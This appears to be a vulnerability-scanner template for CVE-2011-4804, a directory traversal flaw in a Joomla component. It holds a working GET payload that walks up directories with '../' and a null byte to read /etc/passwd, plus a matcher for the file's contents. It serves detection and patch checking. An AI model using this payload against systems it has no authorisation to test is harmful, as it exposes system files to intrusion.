id: CVE-2011-4804 info: name: Joomla! Component com_kp - 'Controller' Local File Inclusion author: daffainfo severity: medium description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. impact: | The vulnerability allows an attacker to include arbitrary local files, leading to unauthorized access to sensitive information or remote code execution. remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/36598 - https://nvd.nist.gov/vuln/detail/CVE-2011-4804 - http://foobla.com/news/latest/obsuggest-1.8-security-release.html - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N cvss-score: 5 cve-id: CVE-2011-4804 cwe-id: CWE-22 epss-score: 0.44913 epss-percentile: 0.97396 cpe: cpe:2.3:a:foobla:com_obsuggest:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: foobla product: com_obsuggest tags: cve,cve2011,lfi,edb,joomla,foobla http: - method: GET path: - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a004630440220522c81df4d838763aea8850f058981a255d7d59675fdb4c02bbdb06969a0ad83022023f0320748d1a58fedaf54253d38c438cff763b3401e447409b7a5d3f520ddd5:922c64590222798bb761d5b6d8e72950